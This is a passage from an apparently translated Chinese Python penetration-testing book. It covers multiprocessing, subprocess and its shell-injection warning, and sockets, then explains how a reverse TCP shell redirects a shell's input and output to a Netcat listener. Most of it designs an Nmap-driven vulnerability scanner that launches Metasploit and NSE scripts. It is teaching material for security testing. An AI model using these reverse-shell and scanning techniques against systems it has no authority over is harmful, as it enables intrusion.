现在让我们举另一个例子,展示池模块的另一个强大功能。假设作为我们的要求的一部分,我们需要解析创建的 800 万个文件中的四个文件,其 ID%1700的结果为零。然后我们必须将所有四个文件的结果合并到另一个文件中。这是分布式处理和结果聚合的一个很好的例子:这些进程不仅应该并行读取文件,还必须聚合结果。这与 Hadoop 的映射-减少问题有些类似。在典型的映射-减少问题中,有两组操作:

  • 映射:这涉及将一个巨大的数据集分布在分布式系统的各个节点上。每个节点处理它接收到的数据块。

  • 减少:这是聚合操作,其中来自每个节点的映射阶段的输出被返回,并且根据逻辑,最终聚合并返回结果。

我们在这里做的是相同的事情,唯一的区别是我们使用处理器核心代替节点:

如前面的代码片段所示,借助Pool模块的map()方法,我们可以让多个进程并行处理不同的文件,然后将所有结果组合并作为单个结构发送。这些进程是并行执行的,对于record_id%1700返回零的记录将被返回。最后,我们将聚合结果保存在Modulo_1700_agg文件中。这是多进程模块的一个非常强大的特性,如果使用正确,可以大大减少处理时间和聚合时间。

子进程

从另一个进程调用外部进程称为子处理。在这种情况下,进程之间的通信是通过操作系统管道进行的。换句话说,如果进程 A 被进程 B 作为子进程调用,那么进程 B 可以通过操作系统管道向其传递输入,也可以通过操作系统管道从中读取输出。在自动化渗透测试和使用 Python 调用其他工具和实用程序时,该模块至关重要。Python 提供了一个非常强大的模块,称为subprocess来处理子处理。看一下下面的代码片段Subprocessing.py,它展示了如何使用子处理来调用一个名为ls的系统命令:

在前面的代码片段中,我们使用了subprocess.Popen()方法来调用subprocess。还有一些其他调用或调用subprocess的方法,比如call(),但我们在这里讨论的是Popen。这是因为Popen方法返回将要生成的进程的进程 ID,从而使我们对该进程有很好的控制。Popen方法接受许多参数,其中第一个实际上是要在操作系统级别执行的命令。命名参数包括stderr=subprocess.PIPE,这意味着如果外部程序或脚本产生错误,该错误必须重定向到操作系统管道,父进程必须从中读取错误。stdout=subprocess.PIPE表示子进程产生的输出也必须发送到管道到父进程。shell=True表示无论给出什么命令,第一个参数都必须被视为shell命令,如果有一些参数,它们必须作为要调用的进程的参数传递。最后,如果我们希望父进程读取子进程产生的输出和错误,我们必须在调用的subprocess上调用communicate()方法。communicate()方法打开subprocess管道,通信从子进程向管道的一端写入开始,父进程从另一端读取。必须注意communicate()方法将使父进程等待子进程完成。该方法返回一个元组,其中 0 号索引处是输出,1 号索引处是标准错误。

应该注意的是,我们在现实世界的示例中不应该使用shell=True,因为这会使应用程序容易受到 shell 注入的攻击。避免使用以下行:

>>> subprocess.Popen(command, shell=True) #这将删除所有内容!!

看一下以下示例,我们将使用shell=False。使用shell=False,我们调用的进程/命令的命令和参数必须作为列表分开传递。让我们尝试使用shell=False执行ls -l

这就是我们如何使用 Python 执行外部进程的方式,借助于 subprocess 模块。

套接字编程基础

当我们谈论套接字时,我们指的是 TCP 套接字和 UDP 套接字。套接字连接只是 IP 地址和端口号的组合。我们可以想到的每个在端口上运行的服务都在内部实现和使用套接字。

例如,我们的 Web 服务器总是在端口80(默认情况下)上监听,它打开一个套接字连接到外部世界,并绑定到具有 IP 地址和端口80的套接字。套接字连接可以以以下两种模式使用:

  • 服务器

  • 客户端

当套接字用作服务器时,服务器执行的步骤顺序如下:

  1. 创建一个套接字。

  2. 绑定到套接字。

  3. 在套接字上监听。

  4. 接受连接。

  5. 接收和发送数据。

另一方面,当套接字连接用作客户端连接到服务器套接字时,步骤顺序如下:

  1. 创建一个套接字。

  2. 连接到套接字。

  3. 接收和发送数据。

看一下以下代码片段server_socket.py,它在端口80实现了一个 TCP 服务器套接字:

在前面的案例中,我们使用socket.socket语句创建了一个套接字。在这里,socket.AF_INET表示 IPv4 协议,socket.SOCK_STREAM表示使用基于流的套接字数据包,这些数据包仅是 TCP 流。bind()方法以元组作为参数,第一个参数是本地 IP 地址。您应该将其替换为您的个人 IP,或127.0.0.1。传递给元组的第二个参数是端口,然后调用bind()方法。然后我们开始监听套接字,最后开始一个循环,我们接受客户端连接。请注意,该方法创建了一个单线程服务器,这意味着如果任何其他客户端连接,它必须等到活动客户端断开连接。send()recv()方法是不言自明的。

现在让我们创建一个基本的客户端套接字代码client_socket.py,连接到之前创建的服务器并向其传递消息:

客户端和服务器套接字产生的输出如下:

这是我们如何使用 UDP 进行套接字连接的方式:

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

使用 Python 进行反向 TCP shell

现在我们已经了解了子进程、多进程等基础知识,使用 Python 实现基本的 TCP 反向 shell 非常简单。在这个例子rev_tcp.py中,我们将使用基于 bash 的反向 TCP shell。在本书的后面章节中,我们将看到如何完全使用 Python 传递反向 shell:

需要注意的是,OS.dup2用于在 Python 中创建文件描述符的副本。stdin被定义为文件描述符0stdout被定义为文件描述符1stderr被定义为文件描述符2。代码行OS.dup2(s.fileno(),0)表示我们应该创建stdin的副本并将流量重定向到套接字文件,该套接字文件恰好位于本地主机和端口1234(Netcat 正在监听的地方)。最后,我们以交互模式调用 shell,由于我们没有指定stderrstdinstdout参数,默认情况下,这些参数将被发送到系统级的stdinstdout,再次映射到程序的范围内的套接字。因此,前面的代码片段将以交互模式打开 shell,并将其传递给套接字。所有输入都从套接字作为stdin接收,所有输出都通过stdout传递到套接字。可以通过查看生成的输出来验证这一点。

总结

在本章中,我们讨论了一些更高级的 Python 概念,这些概念可以帮助我们增加吞吐量。我们讨论了多进程 Python 模块以及它们如何用于减少所需时间并增加我们的处理能力。通过本章,我们基本上涵盖了我们进入渗透测试、自动化和各种网络安全用例所需的 Python 的一切。需要注意的是,从现在开始,我们的重点将是应用我们到目前为止所学的概念,而不是解释它们的工作原理。因此,如果您有任何疑问,我强烈建议您在继续之前澄清这些疑问。在下一章中,我们将讨论如何使用 Python 解析 PCAP 文件,自动化 Nmap 扫描等等。对于所有的安全爱好者,让我们开始吧。

问题

  1. 我们可以使用 Python 的其他多进程库吗?

  2. 在 Python 中,线程在哪些情况下会变得有用,考虑到它们实际上在同一个核心上执行?

进一步阅读

第五章:漏洞扫描器 Python - 第 1 部分

当我们谈论端口扫描时,自动想到的工具就是 Nmap。Nmap 有良好的声誉,可以说是最好的开源端口扫描器。它具有大量功能,允许您在网络上执行各种扫描,以发现哪些主机是活动的,哪些端口是开放的,以及主机上运行的服务和服务版本。它还有一个引擎(Nmap 扫描引擎),可以扫描用于发现运行服务的常见漏洞的 NSE 脚本。在本章中,我们将使用 Python 来自动执行端口扫描的过程。本章将为我们的自动化漏洞扫描器奠定基础,并将补充下一章,该章将专注于自动化服务扫描和枚举。

本章涵盖以下主题:

  • 介绍 Nmap

  • 使用 Python 构建网络扫描器

介绍 Nmap

我们的端口扫描器将基于 Nmap 构建,具有额外的功能和能力,例如并行端口扫描目标,暂停和恢复扫描。它还将具有一个 Web GUI,我们可以用来进行扫描。

让我们来看看 Nmap 的各种属性:

  • 以下截图显示了 Nmap 可用的不同扫描技术:

  • 以下截图显示了主机发现和端口规范,以及一些示例:

  • 以下截图显示了服务和版本检测以及操作系统检测,以及一些示例:

  • 以下截图显示了时间和性能,以及一些示例:

  • 以下截图显示了 NSE 脚本以及一些示例:

  • 以下截图显示了防火墙/IDS 回避和欺骗,以及一些示例:

  • 以下截图显示了一些有用的 Nmap 输出示例:

前面的截图提供了我们在日常操作中经常使用的 Nmap 命令的全面列表。我们将不会涵盖如何在终端上运行 Nmap 命令,因为这被认为是直接的。

需要注意的是,从现在开始,我们将使用 Kali Linux 作为我们的渗透测试实验室操作系统。因此,我们将在 Kali Linux 上实施所有 Python 自动化。要安装 Kali Linux VM/VirtualBox 镜像,请参考www.osboxes.org/Kali-linux/。要下载 VirtualBox,请参考www.virtualbox.org/wiki/Downloads。下载后,执行以下截图中显示的步骤。

首先,输入新虚拟机的名称,类型和版本;在我们的案例中,这是 Linux 和 Debian(64 位)。之后,分配内存大小:

接下来,选择虚拟硬盘文件,如下截图所示:

使用 Python 构建网络扫描器

现在我们已经设置好了 VirtualBox 镜像,让我们来看一个简单的 Python 脚本,它将帮助我们调用 Nmap 并启动扫描。稍后,我们将优化此脚本以使其更好。最后,我们将使其成为一个功能齐全的端口扫描 Python 引擎,具有暂停,恢复和多进程能力:

前面脚本产生的信息对 Python 代码来说很难过滤和存储。如果我们想要将所有打开的端口和服务存储在字典中,使用前面的方法会很困难。让我们考虑另一种方法,可以解析并处理脚本产生的信息。我们知道oX标志用于以 XML 格式生成输出。我们将使用oX标志将 XML 字符串转换为 Python 字典,如下节所示。

使用脚本控制 Nmap 输出

在下面的示例中,我们重复使用了之前学习的相同概念。我们将 Nmap 输出重定向为 XML 格式显示在屏幕上。然后,我们将产生的输出作为字符串收集起来,并使用import xml.Etree.elementTree Python 模块作为ET,以将 XML 输出转换为 Python 字典。使用以下代码,我们可以使用我们的程序控制 Nmap 并过滤出所有有用的信息:

然后,我们可以将这些信息存储在数据库表中:

接下来,运行以下命令:

Nmap=NmapPy(["Nmap","-Pn","-sV","-oX","-","127.0.0.1"])
Nmap.scan()

虽然前面的方法很好,并且让我们对 Nmap 输出有细粒度的控制,但它涉及处理和解析代码,这可能是我们每次使用 Nmap 进行扫描时都不想编写的。另一种更好的方法是使用 Python 内置的 Nmap 包装模块。我们可以使用pip install安装 Python 的 Nmap 模块,它几乎与我们之前做的事情一样,但允许我们避免编写所有处理和子处理逻辑。这使得代码更清晰、更可读。每当我们希望有更细粒度的控制时,我们总是可以回到前面的方法。

使用 Nmap 模块进行 Nmap 端口扫描

现在让我们继续安装 Python Nmap 模块,如下所示:

pip install Nmap

上述命令将安装Nmap实用程序。以下部分提供了有关如何使用该库的概述:

import Nmap # import Nmap.py module
 Nmap_obj = Nmap.PortScanner() # instantiate Nmap.PortScanner object
 Nmap_obj.scan('192.168.0.143', '1-1024') # scan host 192.1680.143, ports from 1-1024
 Nmap_obj.command_line() # get command line used for the scan : Nmap -oX - -p 1-1024 192.1680.143
 Nmap_obj.scaninfo() # get Nmap scan informations {'tcp': {'services': '1-1024', 'method': 'connect'}}
 Nmap_obj.all_hosts() # get all hosts that were scanned
 Nmap_obj['192.1680.143'].hostname() # get one hostname for host 192.1680.143, usualy the user record
 Nmap_obj['192.1680.143'].hostnames() # get list of hostnames for host 192.1680.143 as a list of dict
 # [{'name':'hostname1', 'type':'PTR'}, {'name':'hostname2', 'type':'user'}]
 Nmap_obj['192.1680.143'].hostname() # get hostname for host 192.1680.143
 Nmap_obj['192.1680.143'].state() # get state of host 192.1680.143 (up|down|unknown|skipped)
 Nmap_obj['192.1680.143'].all_protocols() # get all scanned protocols ['tcp', 'udp'] in (ip|tcp|udp|sctp)
 Nmap_obj['192.1680.143']['tcp'].keys() # get all ports for tcp protocol
 Nmap_obj['192.1680.143'].all_tcp() # get all ports for tcp protocol (sorted version)
 Nmap_obj['192.1680.143'].all_udp() # get all ports for udp protocol (sorted version)
 Nmap_obj['192.1680.143'].all_ip() # get all ports for ip protocol (sorted version)
 Nmap_obj['192.1680.143'].all_sctp() # get all ports for sctp protocol (sorted version)
 Nmap_obj['192.1680.143'].has_tcp(22) # is there any information for port 22/tcp on host 192.1680.143
 Nmap_obj['192.1680.143']['tcp'][22] # get infos about port 22 in tcp on host 192.1680.143
 Nmap_obj['192.1680.143'].tcp(22) # get infos about port 22 in tcp on host 192.1680.143
 Nmap_obj['192.1680.143']['tcp'][22]['state'] # get state of port 22/tcp on host 192.1680.143

这为 Alexandre Norman 编写的出色实用程序提供了一个快速入门。有关此模块的更多详细信息,请访问pypi.org/project/python-Nmap/。我们将使用相同的模块来进行 Nmap 的并行端口扫描,并具有暂停和恢复扫描的附加功能。

目标和架构概述

在深入了解代码细节之前,重要的是我们理解我们在做什么以及为什么这样做。默认情况下,Nmap 非常强大并且具有大量功能。在使用操作系统工具进行典型的网络渗透测试时,采用的方法是使用 Nmap 进行端口扫描以获取打开的端口、运行的服务和服务版本。根据端口扫描结果,测试人员通常使用各种服务扫描脚本来获取服务版本和相关的 CVE ID(如果有的话),然后再根据这些,测试人员可以使用 Metasploit 来利用这些漏洞。对于服务扫描,测试人员使用各种开源技术,如 NSE、Ruby、Python、Java、bash 脚本,或者诸如 Metasploit、w3af、nikto、Wireshark 等工具。整个周期形成了一个需要每次遵循的流程,但它非常分散。我们在这里尝试提出的想法是,在接下来的部分中,我们将编排渗透测试人员需要执行的所有活动,并使用 Python 自动化所有这些活动,以便所有需要运行的工具和脚本都可以预先配置并一次性运行。我们不仅仅是编排和自动化活动,还使代码优化以利用多进程和多线程来减少扫描时间。

代码的架构可以分为以下几部分:

  • 端口扫描(服务/端口发现)

  • 服务扫描

端口扫描

端口扫描部分是指我们将如何在 Python 代码中实现它。想法是使用线程和多进程的组合。如果我们想要扫描 10 个主机,我们将把它分成 5 个批次。每个批次有两个主机(批次大小可以根据实验室机器的 RAM 和处理器能力增加)。对于四核处理器和 2GB RAM,批次大小应为 2。在任何时候,我们将处理一个批次,并为每个主机分配一个单独的线程。因此,将有两个线程并行运行,扫描两个主机。一旦一个主机被分配给一个线程,线程将选择要扫描该主机的端口范围(假设在 1 到 65535 之间)。逻辑不是顺序扫描端口,而是将整个范围分成三个大小为 21,845 的块。现在,单个主机的三个块并行扫描。如果处理器核心数量更多,块大小可以增加。对于四核处理器和 2GB RAM,建议使用三个块:

总之,主机被分成大小为 2 的批次,并专门用于单个主机。进一步的端口被分成块,并且一个多进程过程被专门用于扫描每个块,使得端口扫描可以并行进行。因此,在任何时候,将有两个线程和六个进程用于端口扫描活动。如果用户想要暂停扫描,他们可以在终端窗口使用Ctrl + C来暂停。当他们重新运行代码时,他们将被提示选择启动新的扫描或恢复先前暂停的扫描。

服务扫描

当端口扫描活动结束时,我们将所有结果保存在我们的 MySQL 数据库表中。根据发现的服务,我们有一个配置好的脚本列表,如果找到特定的服务,我们需要执行这些脚本。我们使用 JSON 文件来映射服务和相应的脚本以执行。用户将得到端口扫描结果,并有选择重新配置或更改结果的选项,以减少误报。一旦最终配置完成,服务扫描就开始了。我们从数据库中逐个选择一个主机,并根据发现的服务,从 JSON 文件中读取适当的脚本,为这个特定的主机执行它们,并将结果保存在数据库中。这将持续到所有主机的服务都被扫描。最后,生成一个包含格式化结果和屏幕截图的 HTML 报告,以附加到概念验证(POC)报告中。

服务扫描的架构图如下:

以下屏幕截图显示了 JSON 文件如何配置以执行脚本:

如前面的屏幕截图所示,JSON 文件中有各种类别的命令。Metasploit 模板显示了用于执行 Metasploit 模块的命令。单行命令用于执行 NSE 脚本和所有非交互式的模块或脚本。其他类别包括interactive_commandssingle_line_sniffing,在这里我们需要嗅探流量并执行脚本。JSON 文件的一般模板如下:

键是服务的名称。标题有文件描述。method_id是应调用的实际 Python 方法,以调用要执行的外部脚本。请注意,对于单行命令,我们还在args参数下的第一个参数中指定了以秒为单位的超时参数。

代码的更详细查看

让我们来看一下我们将使用 Python 构建网络扫描器所需的基本文件和方法的概述:

  • Driver_main_class.py:这是提示用户输入信息的 Python 类、文件或模块,例如项目名称、要扫描的 IP 地址、要扫描的端口范围、要使用的扫描开关和扫描类型。

  • main_class_based_backup.py:这是包含我们之前讨论的所有端口扫描主要逻辑的 Python 类、文件或模块。它从Driver_main_class.py获取输入并将输入存储在数据库中。最后,它使用线程和多进程在我们的目标上启动端口扫描。

  • Driver_scanner.py:端口扫描结束后,下一步是执行服务扫描,这个 Python 类调用另一个类driver_meta.py,该类获取要执行服务扫描的项目名称或 ID。

  • driver_meta.py:这个类显示端口扫描的默认结果,并给用户重新配置结果的选项。重新配置后,该类从数据库表中读取当前项目的主机,为其执行服务扫描。对于每个主机,它然后读取 JSON 文件以获取要执行的命令,并对于要执行的每个命令,它将控制传递给另一个文件auto_comamnds.py

  • auto_commands.py:这个文件从driver_meta.py获取参数,并调用外部技术,如 NSE、Ruby、Python、Java、bash 脚本,或者工具,如 Metasploit、Wireshark 和 Nikto。然后用于执行所选服务、主机和端口的服务扫描。命令执行结束后,它将结果返回给driver_meta.py以保存在数据库中。

  • IPtable.py:这是将端口扫描结果存储在数据库表中的类。它代表了我们的漏洞扫描器的数据层。

  • IPexploits.py:这是将服务扫描结果存储在数据库表中的类。它还代表了我们的漏洞扫描器的数据层。

入门

整个代码库可以在以下 GitHub 存储库中找到。安装说明在主页上指定。我们将查看代码部分和具有实现扫描器的中心逻辑的文件。请随时从存储库下载代码并按照执行部分中指定的方式执行。或者,我创建了一个即插即用的 Kali VM 映像,其中包含所有先决条件安装和开箱即用的代码库。可以从 URLhttps://drive.google.com/file/d/1e0Wwc1r_7XtL0uCLJXeLstMgJR68wNLF/view?usp=sharing下载并无忧地执行。默认用户名为:PTO_root,密码为:PTO_root

如前所述,我们将讨论代码的中心逻辑,该逻辑由以下代码片段表示:

整个类可以在 URLhttps://github.com/FurqanKhan1/Dictator/blob/master/Dictator_service/Driver_main_class.py找到Driver_main_class.py。该类的构造函数声明了在main_class_based_backup.py中找到的NmapScan类的对象。(1)(2)标记的行是在收集所有输入后触发实际逻辑的地方,包括项目名称、IP、端口范围、扫描开关和扫描类型。扫描类型 1 表示新扫描,而扫描类型 2 表示恢复先前暂停的现有扫描。self.scanbanner()方法提示用户输入用户希望使用的 Nmap 扫描开关。有七种开关类型在日常扫描中最常用。以下截图显示了配置文件Nmap.cfg中配置的扫描开关:

以下代码片段代表了main_class_based_backup.py类的流程:

这个截图代表了主要的NmapScan类。该类的构造函数包含了我们将在整个类的执行流程中使用的各种变量。如前所述,IPtable是一个用于将数据推送到后端数据库的 Python 类。数据库的结构将在db_structure部分讨论。目前,我们应该理解,通过使用 MySQLdb db 连接器/Python 模块,我们将通过IPtable类将所有端口扫描的详细信息推送到后端表中。此外,textable是一个用于在终端窗口上绘制表格以表示数据的 Python 模块。Simple_Logger是一个用于在文件中记录调试和错误消息的 Python 模块。

正如我们之前所看到的,当我们查看Driver_main_class.py时,实际执行流程始于NmapScan类的driver_main方法(在Driver_main_class.py类的代码片段(1)(2)中突出显示)。以下截图更详细地显示了这个方法:

前面的代码片段很简单。该方法接收来自调用者的所有参数。我们将扫描的开始时间保存在一个名为start的变量中。突出显示的代码片段(1)调用了同一类的另一个main方法,并将所有接收到的参数传递给它。这是启动所有主机的端口扫描的方法。一旦调用的self.main方法完成执行,如代码片段(2)所示,我们需要检查所有主机是否成功扫描。这可以从一个后台表中推断出,该表维护了所有正在扫描的主机的status_code,由当前项目 ID 引用。如果主机成功扫描,状态将是 complete,否则将是 processing 或 incomplete。如果当前项目不处于暂停状态,并且仍有一些主机的状态是 incomplete 或 processing,我们需要再次处理这些主机,这是代码片段(3)所突出显示的内容。如果所有主机的处理状态都是 complete,我们将最终项目状态更新为 complete,由self.IPtable.clearLogs方法指定。最后,我们显示执行时间(以秒为单位)。在下一个代码片段中,我们将看一下NmapScan类的main方法,让事情开始运行:

main方法开始检查scan_type。必须注意scan_type="1"表示新扫描,scan_type="2"表示恢复先前暂停的扫描。代码还检查扫描模式。注意c代表命令行模式。我们正在制作的漏洞扫描器在 GUI 模式和命令行模式下都可以操作,我们稍后会讨论。我们现在可以忽略g-initg-start模式。

在第 6 行,代码将当前项目名称存储在后端数据库中。代码的逻辑由self.db_projectname方法处理。该方法接受项目名称,将其存储在数据库表中,返回一个唯一的项目 ID,并将其存储在名为self.CURRENT_PROJECT_ID的类变量中。它还在父项目文件夹的根目录下的Results文件夹下创建一个名为Results_project_id的文件夹。该方法的完整细节可以在以下路径找到:https://github.com/FurqanKhan1/Dictator/blob/master/Dictator_service/main_class_based_backup.py

高亮显示的代码片段(2)调用了一个名为self.numofips(targethosts)的方法,该方法返回要扫描的主机数量。如果有多个主机,它们应该被输入为逗号分隔(例如192.168.250.143192.168.250.144)或 CIDR 表示法(例如192.168.250.140/16)。如果它们是逗号分隔的,那么targethosts.split(',')将分割输入并返回 IP 列表给listip变量。如果是 CIDR 表示法,代码片段(3)将把 CIDR IP 列表转换为本机 Python IP 列表并返回结果,结果将再次存储在listip变量中。

高亮显示的代码片段(4)负责将端口分成小块并将它们存储在数据库中,与之前讨论的当前项目 ID 相关。假设我们有两个要扫描的主机,192.168.250.143192.168.250.136,并且我们想要扫描主机的整个端口范围(从 1 到 65,535)。在这种情况下,方法的调用将是self.makeBulkEntries([192.168.250.143,192.168.250.136], "1-65535")。该方法处理输入并将其转换为以下内容:

[[192.168.250.143,"1-21845"],[192.168.250.143,"21845-43690"],[192.168.250.143,"43690-65535"],[192.168.250.144,"1-21845"],[192.168.250.144,"21845-43690"],[192.168.250.144,"43690-65535"]]

前面的列表被插入到数据库表中,共有六行,每行的扫描状态为不完整。

在下一行,threading.enumurate()返回当前运行线程的数量。它应该返回一个值为 1,因为只有主线程在运行。

高亮显示的代码片段(5)调用了startProcessing方法。这个方法从后端数据库表中读取一批不完整状态的不同主机,然后为这些主机分配一个线程进行扫描。必须注意的是,self.N表示批处理大小,我们已经讨论过它是 2,并且在类的构造函数中初始化。我们可以增加这个数字以获得更高的处理器数量。

startProcessing方法会生成线程并为每个未扫描的主机分配一个线程,但必须有一些逻辑来检查主机何时完全扫描,例如,如果批处理大小为2,并且扫描了 1 个主机,它会提取另一个未扫描的主机并为其分配一个线程。该方法还需要检查所有主机是否完全扫描。如果是这种情况,扫描必须结束。这段逻辑由start_Polling()方法处理,如标有(6)的代码片段所示。

高亮显示的代码片段(7)将调用一个方法来恢复暂停的扫描。因此,它将加载所有处于暂停状态的扫描的项目 ID。用户可以选择任何有效的项目 ID 来恢复扫描。

最后,代码片段(8)提到了Start_Polling(),它具有与之前讨论的相同功能,但在这种情况下是为恢复的扫描。

在下面的代码片段中,startProcessing()方法简单地从数据库表中提取所有不完整状态的不同主机,并将它们放入本机 Python 列表All_hosts中。对于当前示例,它将返回以下列表:[192.168.250.143, 192.168.250.144]。之后,高亮显示的代码片段(1)将调用startThreads方法,其中一个线程将被分配给一个主机:

startThreads()方法很简单。我们遍历主机列表并为每个主机分配一个线程,通过调用obj.simplescanner方法并将当前 IP 列表传递给它。对于我们当前的示例,simplescanner方法将被调用两次。首先,它将为线程 1 调用,该线程具有 IP 地址192.168.250.143,然后它将为线程 2 调用,该线程具有 IP 地址192.168.250.144。这由代码片段(1)突出显示。

simpleScanner()方法也很简单,使用了我们之前学习的多进程概念。首先,它读取调用它的当前主机的所有记录或端口块。例如,当它针对主机192.168.250.143调用时,它会读取数据库行[[192.168.250.143,"1-21845"],[192.168.250.143,"21845-43690"]和[192.168.250.143,"43690-65535"]]。之后,它将更新所有这些记录的状态,并将它们标记为:处理中,因为我们将要专门处理端口块的进程。最后,我们遍历端口列表,并为当前 IP 和当前端口块调用多进程进程,如(1)部分所示。根据当前示例,我们将为 Thread 1 运行三个并行进程,为 Thread 2 运行三个并行进程:

  • 进程 1(方法=端口扫描器(),IP=192.168.250.143,portx=1-21845,rec_id=100)

  • 进程 2(方法=端口扫描器(),IP=192.168.250.143,portx=21845-43690,rec_id=101)

  • 进程 3(方法=端口扫描器(),IP=192.168.250.143,portx=43690-65535,rec_id=102)

  • 进程 4(方法=端口扫描器(),IP=192.168.250.144,portx=1-21845,rec_id=103)

  • 进程 5(方法=端口扫描器(),IP=192.168.250.144,portx=21845-43690,rec_id=104)

  • 进程 6(方法=端口扫描器(),IP=192.168.250.144,portx=43690-65535,rec_id=105)

理想情况下,每个进程将在处理器核心上执行。拥有七个核心的处理器将是很棒的。在这种情况下,主程序将利用一个核心,其余六个核心将在前面的六个进程之间并行分配。然而,在我们的情况下,我们有一个四核处理器,其中一个核心被主线程使用,其余三个核心被生成的六个进程共享。这将涉及由于上下文切换而产生一定的延迟。还要注意,我们正在使用多进程库的 mp.Process 实用程序。请随时使用批处理模块,如我们在前几章中讨论的,批处理大小为 3,看看扫描时间是否有任何差异。最后,我们希望 Thread 1 线程保持活动状态,直到所有主机块都被扫描,因为我们的轮询逻辑表明,如果一个线程完成,那么主机扫描就结束了。因此,我们在当前线程上调用join()方法。这确保了 Thread 1 和 Thread 2 在所有进程完成之前都保持活动状态;换句话说,所有块都被扫描。

以下代码是不言自明的。我们使用 Python 的内置 Nmap 实用程序来扫描主机和端口块。如果扫描成功,我们只需解析结果并分别提取 TCP 和 UDP 结果。提取结果后,我们只需使用self.IPtable .Update()方法将结果保存在后端数据库表中。我们将状态标记为完成,并保存发现为开放的端口和服务的结果。另一方面,如果端口扫描结果和 IP 返回任何异常,我们将尝试进行三次重复扫描:

经过三次重试,如果扫描不成功,那么对于该记录(Iport-chunkproject_id),我们将更新状态为错误完成,如下截图所示:

start_Polling方法不断监视活动线程的数量,如(1)(2)所示。如果发现只有一个正在运行的线程,然后它检查后端表,看是否所有主机都标记为complete状态。如果只有一个正在运行的线程(main)并且所有主机都标记为 complete,则它会跳出无限轮询循环。另一方面,如果发现当前运行的线程数量小于最大允许的批处理大小,并且数据库表中还有一些未扫描的主机,它会选择一个未扫描的主机,并通过调用startProcessing()方法为其分配一个线程。这在以下代码片段的(3)(4)部分中得到了突出显示:

以下代码处理了如何恢复暂停的扫描。self.IPtable.MakeUpdate方法将未扫描主机的状态更新为incomplete。当有主机的状态从processing更改为incomplete时,返回 1。如果在将主机放入数据库表之前扫描被暂停,则返回状态2。在这种情况下,我们需要重新进行批量输入。其余代码很简单;我们调用startProcessing()方法来委派一个线程来扫描主机:

必须注意的是,为了暂停扫描,我们只需在控制台或终端窗口上按下Ctrl + C。当前扫描将被暂停,并在后端数据库中针对当前项目 ID 适当地更新状态。还应该注意,正如前面提到的,上述方法构成了我们漏洞扫描器的端口扫描部分的核心逻辑。确切的代码还有一些其他功能,详细信息可以在 GitHub 存储库https://github.com/FurqanKhan1/Dictator中找到。

执行代码

在执行代码之前,请参考 GitHub URL https://github.com/FurqanKhan1/Dictator/wiki上的安装和设置说明。安装指南还介绍了如何设置后端数据库和表。或者,您可以下载预先安装和预配置了所有内容的即插即用的虚拟机。

要运行代码,请转到/root/Django_project/Dictator/Dictator_Servicepath并运行driver_main_class.py代码文件,命令为python Driver_main_class.py

以下屏幕截图显示了程序正在进行扫描的过程:

以下屏幕截图显示了日志详情:

可以看到在前面的屏幕截图中,为一个主机生成了三个子进程并创建了一个线程。

漏洞扫描器端口扫描部分的数据库架构

让我们试着了解我们正在使用的后端数据库以及数据库中各种表的结构。使用show databases命令列出 MySQL 中存在的所有数据库:

为了使用当前数据库,也就是我们的漏洞扫描器相关的数据库,我们使用nmapscan命令。此外,要查看当前数据库中的所有表,我们使用show tables命令:

为了查看将保存所有扫描项目的表的结构或模式,我们使用desc project命令。要查看我们扫描的项目的数据,我们发出以下 SQL 查询:

IPtable 是保存我们目标端口扫描结果的表。以下命令 desc IPtable 显示了表的模式:

以下截图显示了当前项目744IPtable中的数据。我们可以看到所有的服务扫描结果都以 CSV 格式放在表中:

一旦项目的端口扫描成功完成,项目的所有细节都将从 IPtable 移动到 IPtable_history。这是为了在 IPtable 上快速进行查找操作。因此,IPtable_history 表的模式将与 IPtable 完全相同。这可以在以下截图中验证:

总结

在本章中,我们讨论了如何使用 Python 内置的 Nmap 实用程序来进行和自动化端口扫描,同时具有暂停和恢复扫描的附加功能,并使用线程和多进程添加了优化层。在下一章中,我们将继续使用我们的漏洞扫描程序,了解如何现在可以使用端口扫描结果来进一步自动化和编排服务扫描。我们还将讨论我们的漏洞扫描程序的 GUI 版本,它具有大量功能和非常直观的仪表板。

问题

  1. 为什么我们要使用线程和多进程的组合来自动化端口扫描?

  2. 我们可能如何进一步优化吞吐量?

  3. 是否有其他 Python 模块或库可以用来自动化 Nmap?

  4. 我们可以使用其他扫描程序,如 Angry-IP 或 Mass Scan,使用相同的方法吗?

进一步阅读

第六章:漏洞扫描器 Python - 第 2 部分

当我们谈论使用开源脚本进行服务扫描时,首先想到的是利用各种 NSE 脚本获取配置的服务的服务版本和相关漏洞。在典型的手动网络渗透测试中,我们不仅使用 NSE 脚本来完成工作,还使用各种 Ruby、Perl 和 Bash 脚本,以及 Java 类文件。我们还运行 Metasploit 辅助模块进行服务扫描和利用模块来利用漏洞并创建 POC。我们还可能运行各种 Kali 工具,比如用于 Web 扫描的 Nikto,或者用于捕获未正确配置的 FTP 或 SSH 服务的明文用户名和密码的 SQLmap、w3af 和 Wireshark。所有这些工具和脚本产生了大量信息,测试人员需要手动枚举和整合。还必须消除误报,以得出哪些服务存在哪些漏洞的结论。手动服务扫描的另一个方面是缺乏标准化,更多地依赖于个人的专业知识和所使用的脚本的选择。重要的是要记住,要使用的脚本大多是相互分离的,以至于一个人必须按顺序运行所有所需的脚本和模块。我们可以实现有限的并行性。

在本章中,我们将看到我们的漏洞扫描器如何自动化所有这些活动,并为整个生态系统带来标准化。我们还将看到自动化扫描器如何调用和编排所有 Kali 工具,以为渗透测试人员生成一个集成报告,供其快速分析使用。我们还将研究漏洞扫描器的图形用户界面版本,该版本具有更高级的功能,并补充了现有的漏洞扫描器,如 Nessus。必须指出的是,当我使用 补充 这个词时,我绝不是在将我们的扫描器与 Nessus 或 Qualys 进行比较。它们都是经过多年研发的优秀商业产品,并有一些优秀的工程师在其中工作。然而,我们将构建出一个运行非常出色的东西;了解代码可以让您有机会为扫描器做出贡献,从而帮助它随着时间的推移变得更好更大。

架构概述

我们已经在第五章 漏洞扫描器 Python - 第 1 部分 中看过了扫描器的架构。让我们重新审视扫描器的服务扫描部分,并思考整个生态系统是如何工作的。以下图表显示了我们的服务扫描架构:

项目 ID 将与使用 Nmap 端口扫描完成的所有扫描相关联。用户可以选择要进行服务扫描的项目 ID,并且还可以查看已成功完成端口扫描的所有项目 ID。应该注意,只有已完成的项目的项目 ID 将被显示;暂停端口扫描的项目将不会被显示。

